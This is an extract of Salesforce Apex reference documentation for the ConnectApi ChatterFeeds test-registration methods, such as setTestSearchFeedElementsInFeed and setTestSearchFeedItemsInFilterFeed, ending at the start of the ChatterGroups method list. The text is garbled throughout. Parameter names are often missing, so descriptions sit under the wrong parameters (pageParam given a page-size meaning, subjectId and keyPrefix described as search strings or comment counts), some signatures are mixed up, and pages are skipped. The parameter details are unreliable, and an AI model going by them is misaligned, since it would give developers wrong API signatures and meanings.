feedElementId

Type: String
ID of the feed element. The feed element must be a question.
filter

Type: ConnectApi.RelatedFeedPostType
Specifies the type of related feed post. Values are:
AnsweredRelated questions that have at least one answer.
BestAnswerRelated questions that have a best answer.
GenericAll types of related questions, including answered, with a best answer, and unanswered.
UnansweredRelated questions that dont have answers.
Generic is the default value.
maxResults

Type: Integer
The maximum number of results to return. You can return up to 25 results; 5 is the default.
result

Type: ConnectApi.RelatedFeedPosts
The object containing test data.
In version 37.0 and later, related feed posts are questions.

Return Value
Type: Void

1016

Reference

ChatterFeeds Class

setTestSearchFeedElements(communityId, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.

API Version
31.0

Signature
public static Void setTestSearchFeedElements(String communityId, String q,
ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q)
Testing ConnectApi Code

setTestSearchFeedElements(communityId, q, sortParam, result)

Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.

API Version
31.0

1017

Reference

ChatterFeeds Class

Signature
public static Void setTestSearchFeedElements(String communityId, String q,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
If you pass in null, the default value CreatedDateDesc is used.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q, sortParam)
Testing ConnectApi Code

setTestSearchFeedElements(communityId, q, pageParam, pageSize, result)

API Version
31.0

Signature
public static Void setTestSearchFeedElements(String communityId, String q, String
pageParam, Integer pageSize, ConnectApi.FeedElementPage result)

1018

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.D
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q, pageParam, pageSize)
Testing ConnectApi Code

setTestSearchFeedElements(communityId, q, pageParam, pageSize, sortParam,

result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.

API Version
31.0

Signature
public static Void setTestSearchFeedElements(String communityId, String q, String
pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
ConnectApi.FeedElementPage result)

1019

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
If you pass in null, the default value CreatedDateDesc is used.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q, pageParam, pageSize, sortParam)
Testing ConnectApi Code

setTestSearchFeedElements(communityId, q, recentCommentCount, pageParam,

pageSize, sortParam, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElements method is called in a test context. Use the method with the same parameters or you
receive an exception.

API Version
31.0

1020

Reference

ChatterFeeds Class

Signature
public static Void setTestSearchFeedElements(String communityId, String q, Integer
recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
If you pass in null, the default value CreatedDateDesc is used.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)
Testing ConnectApi Code

1021

Reference

ChatterFeeds Class

setTestSearchFeedElementsInFeed(communityId, feedType, q, result)

Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
31.0

Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String q, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, q)
Testing ConnectApi Code

setTestSearchFeedElementsInFeed(communityId, feedType, pageParam, pageSize,

sortParam, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

1022

Reference

ChatterFeeds Class

API Version
31.0

Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

1023

Reference

ChatterFeeds Class

Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code

setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
31.0

Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: String

1024

Reference

ChatterFeeds Class

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code

setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, sortParam, q, filter, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
32.0

1025

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
filter

1026

Reference

ChatterFeeds Class

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter)
Testing ConnectApi Code

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, q, result)

API Version
31.0

Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String q, ConnectApi.FeedElementPage
result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: String

1027

Reference

ChatterFeeds Class

Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, q)
Testing ConnectApi Code

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, pageParam,

pageSize, sortParam, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
31.0

Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: String

1028

Reference

ChatterFeeds Class

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Search term. Searches keywords in the user or group name. A minimum of one character is required. This parameter does not support
wildcards. This parameter is required.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
31.0

Signature
public static Void setTestSearchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedElementPage result)

1029

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedElementPage

1030

Reference

ChatterFeeds Class

The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
Testing ConnectApi Code

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, sortParam, q, filter,
result)
Registers a ConnectApi.FeedElementPage object to be returned when searchFeedElementsInFeed is called with
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
35.0

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.UserProfile.

subjectId

Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

1031

Reference

ChatterFeeds Class

The amount of content in a feed.

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q,
filter)
Testing ConnectApi Code

1032

Reference

ChatterFeeds Class

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, sortParam, q,
showInternalOnly, result)
Registers a ConnectApi.FeedElementPage object to be returned when the matching
ConnectApi.searchFeedElementsInFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
31.0

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

1033

Reference

ChatterFeeds Class

pageSize

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly

Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q,
showInternalOnly)
Testing ConnectApi Code

setTestSearchFeedElementsInFeed(communityId, feedType, subjectId,

API Version
31.0

Signature
public static Void setTestSearchFeedElementsInFilterFeed(String communityId, String
subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
ConnectApi.FeedElementPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
The maximum number of comments to return with each feed element. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

AllUpdatesDisplays all updates from people and records the user follows and groups the user is a member of.

1039

Reference

ChatterFeeds Class

FewerUpdatesDisplays all updates from people and records the user follows and groups the user is a member of, but
hides some system-generated updates from records.
pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedElementPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
Testing ConnectApi Code

setTestSearchFeedItems(communityId, q, result)
Registers a test feed item page to be returned when searchFeedItems(communityId, q) is called during a test.

API Version
28.031.0

1040

Reference

ChatterFeeds Class

Signature
public static Void searchFeedItems(String communityId, String q, ConnectApi.FeedItemPage
result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedItems(communityId, q)
Testing ConnectApi Code

Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.

API Version
28.031.0

1045

Reference

ChatterFeeds Class

Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String q, ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, q)
Testing ConnectApi Code

setTestSearchFeedItemsInFeed(communityId, feedType, pageParam, pageSize,

sortParam, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.

API Version
28.031.0

Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String
q, ConnectApi.FeedItemPage result)

1046

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code

1047

Reference

ChatterFeeds Class

setTestSearchFeedItemsInFeed(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.

API Version
29.031.0

Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage
result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:

1048

Reference

ChatterFeeds Class

CreatedDateDescSorts by most recent creation date.

LastModifiedDateDescSorts by most recent activity.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code

setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, q, result)

API Version
28.031.0

Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, String q, ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: String

1049

Reference

ChatterFeeds Class

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, subjectId, q)
Testing ConnectApi Code

setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, pageParam,

pageSize, sortParam, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.

API Version
28.031.0

Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, String q, ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: String

1050

Reference

ChatterFeeds Class

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code

setTestSearchFeedItemsInFeed(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.

API Version
29.031.0

1051

Reference

ChatterFeeds Class

Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q,
ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

1052

Reference

ChatterFeeds Class

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code

setTestSearchFeedItemsInFeed(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, sortParam, q,
showInternalOnly, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you
receive an exception.

API Version
29.031.0

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company and Filter.
subjectId

Type: String

1053

Reference

ChatterFeeds Class

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
showInternalOnly

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
result

Type: ConnectApi.FeedItemPage
The object containing test data.

1054

Reference

ChatterFeeds Class

Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFeed(String, ConnectApi.FeedType, String, Integer, ConnectApi.FeedDensity, String, Integer,
ConnectApi.FeedSortOrder, String, Boolean)
Testing ConnectApi Code

setTestSearchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q,

result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
28.031.0

Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId, String
subjectId, String keyPrefix, String q, ConnectApi.FeedItemPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedItemPage
Specify the test feed item page.

1055

Reference

ChatterFeeds Class

Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q)
Testing ConnectApi Code

setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId,

keyPrefix, pageParam, pageSize, sortParam, q, result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
28.031.0

Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String keyPrefix, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage
result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

1056

Reference

ChatterFeeds Class

pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
result

Type: ConnectApi.FeedItemPage
Specify the test feed item page.

Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
Testing ConnectApi Code

setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId,

keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, q,
result)
Registers a ConnectApi.FeedItemPage object to be returned when the matching
ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters
or you receive an exception.

API Version
29.031.0

Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String keyPrefix, Integer
recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage result)

1057

Reference

ChatterFeeds Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType

Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam

Type: ConnectApi.FeedSortOrder
Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.

1058

Reference

ChatterGroups Class

result

Type: ConnectApi.FeedItemPage
Specify the test feed item page.

Return Value
Type: Void
SEE ALSO:
searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam,
q)
Testing ConnectApi Code

ChatterGroups Class
Information about groups, such as the groups members, photo, and the groups the specified user is a member of. Add members to a
group, remove members, and change the group photo.

Namespace
ConnectApi

ChatterGroups Methods
The following are methods for ChatterGroups. All methods are static.
IN THIS SECTION:
addMember(communityId, groupId, userId)
Adds the specified user to the specified group in the specified community as a standard member. To execute this method, the
context user must be the group owner or moderator.
addMemberWithRole(communityId, groupId, userId, role)
Adds the specified user with the specified role to the specified group in the specified community. To execute this method, the
context user must be the group owner or moderator.
addRecord(communityId, groupId, recordId)
Associates a record with a group.
createGroup(communityId, groupInput)
Creates a group.
deleteBannerPhoto(communityId, groupId)
Delete a group banner photo.
deleteMember(communityId, membershipId)
Deletes the specified group membership.
deletePhoto(communityId, groupId)
Deletes the photo of the specified group.

1059

Reference

ChatterGroups Class

getAnnouncements(communityId, groupId)
Gets the first page of announcements in a group.
getAnnouncements(communityId, groupId, pageParam, pageSize)
Gets the specified page of announcements in a group. You can also specify the page size.
getBannerPhoto(communityId, groupId)
Get a group banner photo.
getGroup(communityId, groupId)
Returns information about the specified group.
getGroupBatch(communityId, groupIds)
Gets information about the specified list of groups. Returns a list of BatchResult objects containing
